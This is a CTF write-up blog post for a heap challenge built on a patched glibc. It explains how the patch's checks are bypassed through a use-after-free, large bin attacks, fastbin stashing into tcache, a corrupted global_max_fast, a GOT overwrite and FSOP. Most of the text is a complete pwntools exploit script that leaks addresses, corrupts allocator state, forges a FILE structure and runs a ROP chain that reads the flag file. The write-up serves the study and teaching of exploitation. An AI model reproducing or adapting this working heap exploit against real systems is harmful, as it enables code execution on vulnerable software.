Logo xia0o0o0o

Without love, it cannot be seen

March 30, 2025
9 min read
Table of Contents

Rest, rest in peace:
In the illusion you created,
I came to know love.

Challenge

The main binary contains a simple use-after-free vulnerability but it’s deployed with a patch glibc. We summarize the patch as follows:

  • For every allocation, the result of malloc and input of free must be in the range of main_arena->top + chunk_size(main_arena->top) - main_arena->system_mem to main_arena->top.
  • For every fastbin allocate/free operation, it will set the corresponding PREV_FAST_BIT of the next chunk.
  • For every allocation of tcache chunk, it will check the allocation size and the corresponding chunk size of the result.

There is no stdio operation in the binary and the program exits by syscall. Malloc assertions in glibc are also patched to use syscall.

Exploit

What can we do?

With use-after-free we can leak glibc and heap address easily. And with heap consolidation we can create a chunk overlapping. The challenge is to bypass the patch.

We can easily overwrite main_arena->system_mem with large bin attack. But to allocate to glibc area and overwrite some useful pointer, we need to bypass the check of main_arena->top. One idea is placing a huge value there. With heap chunk overlap we can perform a large bin attack easily. But this can only write a heap pointer.

Fastbin stashing

When we take a chunk from a fastbin chain, glibc allocator will stash the chunks in fastbin in tcache and fill all corresponding tcache slots. After that, the last chunk will become the new fastbin entry. main_arena->top is located after the fastbin entries array. If we overwrite global_max_fast to a large value, we can trick the allocator to think the main_arena->top is a fastbin entry.

In fact, the large bin unlink operation has no alignment check, which means we can partially overwrite some pointers or write a heap pointer at not aligned address.

                  if ((unsigned long) (size)
		      < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      fwd = bck;
                      bck = bck->bk;
 
                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }

With this, we can partially overwrite the main_arena->top to make it point backwards. And we craft a fake fastbin chain there.

fastbin[0] -> ... fastbin[8](a glibc address)

When we take fastbin[0] from the fake fastbin chain. The following 7 fastbin chunk will be stashed in tcache. Then fastbin[8] will be the new fastbin entry. So we can overwrite the main_arena->top to a glibc address.

Code execution

In assertion function of the patch, it will call strlen first, which will actually call into the got table of glibc. We can use the large bin attack to craft a fake tcache entry with size 0x5x at the got table. Then we can overwrite the j_strlen to exit which can trigger glibc stdio operation. Now we can do a traditional FSOP to do ROP.

from pwn import *
 
while True:
    #sh = process(["./locked_room"], env={"LD_PRELOAD": "./libc.so"})
    # nc dicec.tf 32019
    sh = remote("dicec.tf", 32019)
    tob = lambda x: str(x).encode()
    global_idx = 0
 
    def choose(option):
        sh.sendlineafter(b"> ", str(option).encode())
 
    def add(size, content):
        global global_idx
        choose(1)
        sh.sendlineafter(b"Size?\n> ", str(size).encode())
        sh.sendafter(b"Data?\n> ", content)
        idx = global_idx
        global_idx += 1
        return idx
 
    def remove(index):
        choose(2)
        sh.sendlineafter(b"Index?\n> ", str(index).encode())
 
    def show(index):
        choose(3)
        sh.sendlineafter(b"Index?\n> ", str(index).encode())
 
 
    context.terminal = ["tmux", "splitw", "-h"]
 
    add(0x500, b"A"*0x30)   # 0
    add(0x10, b'\n')        # 1
    add(0x500, b"A"*0x30)   # 2
    add(0x10, b'\n')        # 3
    remove(0)               
    add(0x500, b'A'*0x30)   # 4
    remove(0)
    remove(2)
 
    show(4)
    libcbase = u64(sh.recv(6).ljust(8, b'\x00')) - 0x1f1ce0
    sh.recv(2)
    log.success(f"libcbase: {hex(libcbase)}")
    heap = u64(sh.recv(6).ljust(8, b'\x00'))
    log.success(f"heap: {hex(heap)}")
    if heap & 0xf000 != 0xa000:
        log.info("retry")
        continue
 
    # clean up
    add(0x500, b'A'*0x30)
    add(0x500, b'A'*0x30)
 
    fastlist = []
    for i in range(0x16):
        fastlist.append(add(0x60, p64(0x31)*(0x60//8)))
 
    for i in range(0x16):
        remove(fastlist[i])
 
    p1 = add(0x800, (b'A'*0x60 + p64(0) + p64(0x411))*8) # overlap
 
    remove(0xf) # free tcache with fake size
    #context.log_level = 'debug'
    #add(0x800, b'A'*0x2c0)
    #remove(0x1a)
 
    t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + b'B'*0x60 + p64(0) + p64(0x511))
 
    remove(0x10)
    add(0x800, b'\n')
 
    remove(t1)
    t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(0x1f2110+libcbase)*2 + p64(heap+0x920) + p64(libcbase+0x1f1080+8-0x20))
    remove(t1)
 
    remove(0x11)
    add(0x800, b'\n')
 
    t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(heap+0x990) + p64(libcbase+0x1f2110) + p64(heap+0x990)*2 + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3)
    remove(t1)
 
    #gdb.attach(sh)
 
    b2 = add(0x508, b'b2')
    b1 = add(0x510, b'b1')
 
    t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + b'B'*0x60 + p64(0) + p64(0x511))
    remove(0x10)
    t2 = add(0x800, b'\n')
 
    remove(t1)
    t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(0x1f2110+libcbase)*2 + p64(heap+0x920) + p64(libcbase+0x1f1080+8-0x20-1))
    remove(t1)
 
    remove(0x11)
    p1 = add(0x800, b'\n')
    t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(heap+0x990) + p64(libcbase+0x1f2110) + p64(heap+0x990)*2 + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3)
    remove(t1)
 
    fake_link_start = 0x9f0+heap
    log.info("create fake header")
    for i in range(1, 6, 2):
        log.info(f"i: {i}")
        b2 = add(0x508, b'b2')
        b1 = add(0x510, b'b1')
 
        t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + b'B'*0x60 + p64(0) + p64(0x511))
        remove(0x10)
        add(0x800, (p64(0)+p64(0xc1)+p64(((heap+0x5840)>>12)^(fake_link_start))*2)*(0x800//0x20))
 
        remove(t1)
        t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(0x1f2110+libcbase)*2 + p64(heap+0x920) + p64(libcbase+0x1f1080+8-0x20-i-0x10))
        remove(t1)
 
        remove(0x11)
        add(0x800, p64(0x3fff0000000f)*(0x800//8))
        t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(heap+0x990) + p64(libcbase+0x1f2110) + p64(heap+0x990)*2 + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3)
        remove(t1)
 
 
    context.arch = 'amd64'
 
    heapbase = heap-0x7c0
    fakeio_addr = heapbase+0x2870
 
    fake_file                = FileStructure(0)
    fake_file.flags          = 0
    fake_file._IO_read_ptr   = fakeio_addr+0x10*14
    fake_file._IO_read_end   = fakeio_addr+0x10*14
    fake_file._IO_read_base  = fakeio_addr+0x10*14
    fake_file._IO_write_ptr  = 0x0000000000146a50 + libcbase
    fake_file._wide_data     = fakeio_addr - 0x40
    fake_file._lock          = fakeio_addr + 0x10
    fake_file.chain          = 0x0000000000146a50 + libcbase
    fake_file.vtable         = 0x1f3040 + libcbase
 
    libc = ELF("./libc.so")
 
    pop_rdi = 0x000000000002dad2+libcbase
    ret = pop_rdi+1
    pop_rsi = 0x000000000002f2c1+libcbase
    pop_rdx_r12 = 0x0000000000106d17+libcbase
    open_ = libc.symbols['open']+libcbase
    read_ = libc.symbols['read']+libcbase
    write_ = libc.symbols['write']+libcbase
 
    rop  = p64(pop_rdi)
    rop += p64(heap+0x2300)
    rop += p64(pop_rsi)
    rop += p64(0)
    rop += p64(pop_rdx_r12)
    rop += p64(0)
    rop += p64(0)
    rop += p64(open_)
 
    rop += p64(pop_rdi)
    rop += p64(3)
    rop += p64(pop_rsi)
    rop += p64(heap)
    rop += p64(pop_rdx_r12)
    rop += p64(0x100)
    rop += p64(0)
    rop += p64(read_)
 
    rop += p64(pop_rdi)
    rop += p64(1)
    rop += p64(pop_rsi)
    rop += p64(heap)
    rop += p64(pop_rdx_r12)
    rop += p64(0x100)
    rop += p64(0)
    rop += p64(write_)
 
    rop += b'./flag.txt\x00'
 
    payload = bytes(fake_file)[:-0x10] + p64(fakeio_addr) + bytes(fake_file)[-0x8:] + b'\x00'*0x20 + p64(libcbase+0x50dbd) + b'A'*0x78 + p64(heap+0x2240) + p64(ret) + rop
 
    b2 = add(0x508, b'b2')
    t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(0x1f2110+libcbase)*2 + p64(heap+0x920) + p64(libcbase+0x1f2508-0x20))
    remove(t1)
    remove(0x11)
    remove(t2)
    add(0x800, b'\x00'*0x30+payload)
    t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(heap+0x990) + p64(libcbase+0x1f2110) + p64(heap+0x990)*2 + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3)
    remove(t1)
 
    # t3 = add(0x800, b'\x00'*5+p64(0x7fff00000000)*(0x700//8))
    # remove(t3)
 
    target = libcbase + 0x1f1090
 
    # 0xc0
    b2 = add(0x508, b'b2')
    t2 = add(0x800, b'Y'*(0x800-0x20)+p64(0)+p64(0x21)+p64(0)+p64(0))
    t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(0x1f2110+libcbase)*2 + p64(heap+0x920) + p64(libcbase+0x1f1c90-0x20+0x20+0x28) + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3 + b'C'*0x40 + p64(0) + p64(0x51) + b'D'*0x60 + p64(0) + p64(0x51))
    remove(t1)
    remove(0x11)
    remove(t2)
 
    payload = b''
    payload += p64(0) + p64(0x21)
    payload += p64(((heap+0xa00)>>12)^(fake_link_start+0x20)) + p64(0)
    payload += p64(0) + p64(0x21)
    payload += p64(((heap+0xa00)>>12)^(fake_link_start+0x40)) + p64(0)
    payload += p64(0) + p64(0x21)
    payload += p64(((heap+0xa00)>>12)^(fake_link_start+0x60)) + p64(0)
    payload += p64(0) + p64(0x21)
    payload += p64(((heap+0xa00)>>12)^(fake_link_start+0x80)) + p64(0)
    payload += p64(0) + p64(0x21)
    payload += p64(((heap+0xa00)>>12)^(fake_link_start+0xa0)) + p64(0)
    payload += p64(0) + p64(0x21)
    payload += p64(((heap+0xa00)>>12)^(fake_link_start+0xc0)) + p64(0)
    payload += p64(0) + p64(0x21)
    payload += p64(((heap+0xa00)>>12)^(0x1f3cd0+libcbase)) + p64(0)
 
    # overwrite top
    b2 = add(0x508, b'b2')
    t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(0x1f2110+libcbase)*2 + p64(heap+0x920) + p64(libcbase+0x1f1ce0-0x20-6) + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3 + b'C'*0x40 + p64(0) + p64(0x51) + b'D'*0x60 + p64(0) + p64(0x51))
    remove(t1)
    remove(0x11)
    remove(p1)
 
    #gdb.attach(sh)
 
    t2 = add(0x800, b'\n')
    t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(heap+0x990) + p64(libcbase+0x1f2110) + p64(heap+0x990)*2 + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3)
    remove(t1)
    remove(t2)
 
    fix_large_bin = b'A'*0x60 + p64(0) + p64(0x521) + p64(heap+0x990) + p64(libcbase+0x1f2110) + p64(heap+0x990)*2 + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3
 
    b2 = add(0x508, b'b2')
    t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(0x1f2110+libcbase)*2 + p64(heap+0x920) + p64(libcbase+0x1f2670-0x20+3) + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3 + b'C'*0x40 + p64(0) + p64(0x51) + b'D'*0x60 + p64(0) + p64(0x51))
    remove(t1)
    remove(0x11)
    t2 = add(0x800, b'\n')
    t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(heap+0x990) + p64(libcbase+0x1f2110) + p64(heap+0x990)*2 + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3 + b'P'*0x30 + payload)
    remove(t1)
    remove(t2)
 
    # corrupt global_max_fast
    b2 = add(0x508, b'b2')
    t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(0x1f2110+libcbase)*2 + p64(heap+0x920) + p64(libcbase+0x1f91e0-0x20) + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3 + b'C'*0x40 + p64(0) + p64(0x51) + b'D'*0x60 + p64(0) + p64(0x51))
    remove(t1)
    remove(0x11)
    t2 = add(0x800, b'\n')
    t1 = add(0x400, b'A'*0x60 + p64(0) + p64(0x521) + p64(heap+0x990) + p64(libcbase+0x1f2110) + p64(heap+0x990)*2 + b'B'*0x40 + p64(0) + p64(0x511) + p64(libcbase+0x1f2110) + p64(heap+0x920)*3 + b'P'*0x30 + payload)
    remove(t1)
    remove(t2)
 
    add(0xb0, b'\n')
 
    t1 = add(0x400, fix_large_bin + b'P'*0x30+b'A'*0x10+5*(p64(0)+p64(0x51)+b'A'*0x60))
    remove(0x15)
    remove(0x14)
    remove(0x13)
    remove(0x12)
    remove(t1)
 
 
    t1 = add(0x400, fix_large_bin + b'P'*0x30+b'A'*0x10 + (p64(0)+p64(0x51)+p64(((heap+0xa00)>>12)^(0x00000000001F1090+libcbase-0x10))*2+b'A'*0x50) + 4*(p64(0)+p64(0x51)+b'A'*0x60))
    tmp = add(0x40, b'\n')
    add(0x40, p64(libcbase+0x4e4bc)*3+p64(libcbase+0x44330))
    #gdb.attach(sh)
    remove(t1)
    remove(tmp)
 
    t1 = add(0x400, fix_large_bin + b'P'*0x30+b'A'*0x10 + (p64(0)+p64(0x51)+p64(((heap+0xa00)>>12)^(libcbase+0x1f2680))*2+b'A'*0x50) + 4*(p64(0)+p64(0x51)+b'A'*0x60))
    tmp = add(0x40, b'\n')
    add(0x40, p64(fakeio_addr))
    remove(t1)
    remove(tmp)
 
 
    t1 = add(0x400, fix_large_bin + b'P'*0x30+b'A'*0x10 + (p64(0)+p64(0x51)+p64(((heap+0xa00)>>12)^(libcbase+0x1f1681))*2+b'A'*0x50) + 4*(p64(0)+p64(0x51)+b'A'*0x60))
    tmp = add(0x40, b'\n')
    #add(0x40, b'A'*8)
    choose(1)
    sh.sendlineafter(b"Size?\n> ", str(0x40).encode())
 
    flag = sh.recvuntil(b"}")
    print("\033[33mGolden Truth: " + flag.decode() + "\033[0m")
    exit(0)
    sh.interactive()